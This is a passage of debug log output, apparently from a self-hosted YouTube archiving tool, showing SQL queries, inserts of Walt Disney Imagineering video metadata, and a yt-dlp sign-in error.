idle=996.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:18.646 [debug] QUERY OK source="media_items" db=0.5ms idle=996.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 00:00:00Z], 2] 18:55:18.648 [debug] QUERY OK source="media_items" db=1.5ms idle=997.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ What makes this special?\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "How Does Disney Do This - Three Stages in ONE Theater?!", "986504d1-ee1b-43c3-bf20-01d1b1352fa1", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", false, false, 5, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].NA", false, false, 2, [], 98, ~U[2026-02-17 00:00:00Z], ~U[2026-03-30 22:55:18Z], ~U[2026-03-30 22:55:18Z], "Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ What makes this special?\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "How Does Disney Do This - Three Stages in ONE Theater?!", "Q1cJY2wpQRQ", "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", nil, false, "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].NA", false, 2, ~U[2026-02-17 00:00:00Z]] 18:55:18.649 [debug] QUERY OK source="sources" db=0.1ms idle=56.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:18.649 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:18.649 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9394] 18:55:18.649 [debug] Current batch of media processed. Will check again in 1000ms 18:55:18.746 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/32/e6/32e6c1e319087b96dd4577251c45b6de52f80e6808c7846cd2d9c1513f95279c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:55:18.746 [error] yt-dlp download error for media item #12001: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:18.747 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:18.747 [info] {"args":{"id":12001},"id":1720,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2113967,"event":"job:stop","queue_time":632423,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:19.650 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "filename" => "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].NA", "id" => "IZwvg7w1_Kw", "original_url" => "https://www.youtube.com/watch?v=IZwvg7w1_Kw", "playlist_index" => 6, "title" => "How does Walt Disney Imagineering control a ride that's trackless?", "upload_date" => "20260127"} 18:55:19.651 [debug] QUERY OK source="sources" db=0.2ms idle=1001.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:19.651 [debug] QUERY OK source="sources" db=0.1ms idle=1001.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:19.652 [debug] QUERY OK source="media_items" db=0.6ms idle=904.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-27 00:00:00Z], 2] 18:55:19.654 [debug] QUERY OK source="media_items" db=1.5ms idle=898.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "017c141f-6f1d-46cb-ac39-221fe948d6fd", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", false, false, 6, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].NA", false, false, 2, [], 98, ~U[2026-01-27 00:00:00Z], ~U[2026-03-30 22:55:19Z], ~U[2026-03-30 22:55:19Z], "Disney's trackless rides might feel like they're taking you off the rails, but that's not the case! In this episode, Tom tracks down the answers to how trackless attractions work like Mickey & Minnie's Runaway Railway!\n\n✅ What you’ll learn:\n• Trackless Systems Unlock Advanced Storytelling\n• Trackless Ride Vehicles Use Hidden Navigation Markers\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love trackless rides!", "How does Walt Disney Imagineering control a ride that's trackless?", "IZwvg7w1_Kw", "https://www.youtube.com/watch?v=IZwvg7w1_Kw", nil, false, "/downloads/Walt Disney Imagineering/2026-01-27 How does Walt Disney Imagineering control a ride that's trackless?/How does Walt Disney Imagineering control a ride that's trackless? [IZwvg7w1_Kw].NA", false, 2, ~U[2026-01-27 00:00:00Z]] 18:55:19.655 [debug] QUERY OK source="sources" db=0.2ms idle=61.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:19.655 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:19.656 [debug] QUERY OK source="media_items" db=0.2ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7845] 18:55:19.656 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Step inside Mickey & Minnie’s Runaway Railway at Walt Disney World as we uncover the hidden secrets, Easter eggs, and behind‑the‑scenes stories shared directly by the Disney Imagineers who built the attraction.\n\n✨ What makes this special?\n• Imagineers reveal how Mickey & Minnie’s Runaway Railway uses groundbreaking techniques—including projection mapping, UV paint, and moving scenic elements\n• The attraction is filled with hidden details, from the most Hidden Mickeys in any Walt Disney World ride to a recurring Easter egg crab.\n• Behind‑the‑scenes engineering keeps the ride seamless for decades\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n👻 Haunted Mansion Secrets Revealed → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0Secrets\u00A0Revealed\u00A0|\u00A0Disney\u00A0...\u00A0\u00A0\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "filename" => "/downloads/Walt Disney Imagineering/2026-01-20 Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It/Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It [qq0aU6SBP_M].NA", "id" => "qq0aU6SBP_M", "original_url" => "https://www.youtube.com/watch?v=qq0aU6SBP_M", "playlist_index" => 7, "title" => "Inside Mickey & Minnie’s Runaway Railway: Behind‑the‑Scenes Secrets from Imagineers Who Built It", "upload_date" => "20260120"} 18:55:19.657 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 